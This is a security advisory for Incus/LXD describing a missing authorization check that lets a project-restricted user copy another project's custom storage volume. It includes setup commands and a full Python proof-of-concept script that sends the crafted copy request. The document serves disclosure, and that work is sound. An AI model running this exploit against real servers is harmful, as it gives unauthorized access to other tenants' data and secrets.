LXD has project restriction bypass for custom volume copy across projects

Summary

Reported from https://github.com/lxc/incus/security/advisories/GHSA-64f3-v33m-w89f

### Summary

Missing authorization checks exist for custom volume copying where an attacker knowing the name of a project that they don't have access to and the name of a custom volume in that project can copy the custom volume to a new project. This issue could allow an attacker to access secrets in custom volumes they are not authorized to access.

### Details

The storage volume creation handler authorizes creation in the target project, then passes `req.Source.Project` into the custom-volume copy path without checking that the caller can view the source volume. `req.Source.Project` is the attacker-controlled field. It is resolved to a storage volume project name and passed directly to `CreateCustomVolumeFromCopy`. No `allowPermission` or entitlement check (e.g. `CanView` on the source volume) is performed.

From my understanding, the copy must occur on the same server. However, once the copy has been done, nothing prevents a malicious actor from moving the volume to another server.

### PoC #### Setup

We assume the target server is remotely accessible and a user/certificate has been added.

``` # create a new project and instance incus project create secrets incus profile show default | incus --project secrets edit default incus --project secrets storage volume create default secret-vol

# restrict an existing certificate to prevent access to the project incus config trust edit cert-fp #> set, for example restricted: true projects: - default

# verification, with the restricted certificate incus --project secrets storage volume ls remote:default ```

#### Exploitation

The below script was partly generated. To copy the secret instance to the default project, the following command can be used.

``` python3 poc.py --url https://IP-REMOTE:8443 \ --cert path/to/client.crt --key path/to/client.key \ --target-project default --source-project secrets \ --source-volume secret-vol --name copy-secret-vol \ --pool default --source-pool default \ --insecure ```

Wait a bit for the custom volume to be copied, then `incus storage volume ls remote:default` to see the copied instance.

``` #!/usr/bin/env python3 """Copy a custom storage volume from another project into an allowed project."""

from __future__ import annotations

import argparse import json import ssl import sys import urllib.error import urllib.parse import urllib.request

def post(url: str, path: str, body: dict, cert: str, key: str, insecure: bool) -> bytes: ctx = ssl.create_default_context() if insecure: ctx.check_hostname = False ctx.verify_mode = ssl.CERT_NONE ctx.load_cert_chain(cert, key) req = urllib.request.Request( url.rstrip("/") + path, data=json.dumps(body).encode(), method="POST", headers={"Content-Type": "application/json", "Accept": "application/json"}, ) try: with urllib.request.urlopen(req, context=ctx) as resp: return resp.read() except urllib.error.HTTPError as exc: sys.stderr.write(exc.read().decode(errors="replace") + "\n") raise

def main() -> int: ap = argparse.ArgumentParser() ap.add_argument("--url", required=True) ap.add_argument("--cert", required=True) ap.add_argument("--key", required=True) ap.add_argument("--pool", required=True) ap.add_argument("--target-project", required=True) ap.add_argument("--source-project", required=True) ap.add_argument("--source-volume", required=True) ap.add_argument("--source-pool") ap.add_argument("--name", required=True, help="new volume name in target project") ap.add_argument("--content-type", default="filesystem", choices=["filesystem", "block"]) ap.add_argument("--volume-only", action="store_true") ap.add_argument("--insecure", action="store_true") ap.add_argument("--dry-run", action="store_true") args = ap.parse_args()

source = { "type": "copy", "name": args.source_volume, "project": args.source_project, "volume_only": args.volume_only, } if args.source_pool: source["pool"] = args.source_pool

body = { "name": args.name, "type": "custom", "content_type": args.content_type, "source": source, } path = "/1.0/storage-pools/{}/volumes/custom?{}".format( urllib.parse.quote(args.pool, safe=""), urllib.parse.urlencode({"project": args.target_project}), ) print(json.dumps(body, indent=2)) if args.dry_run: return 0 print(post(args.url, path, body, args.cert, args.key, args.insecure).decode(errors="replace")) return 0

if __name__ == "__main__": raise SystemExit(main()) ```

### Impact

An attacker can copy instances they don't normally have access to, possibly leading to information disclosure.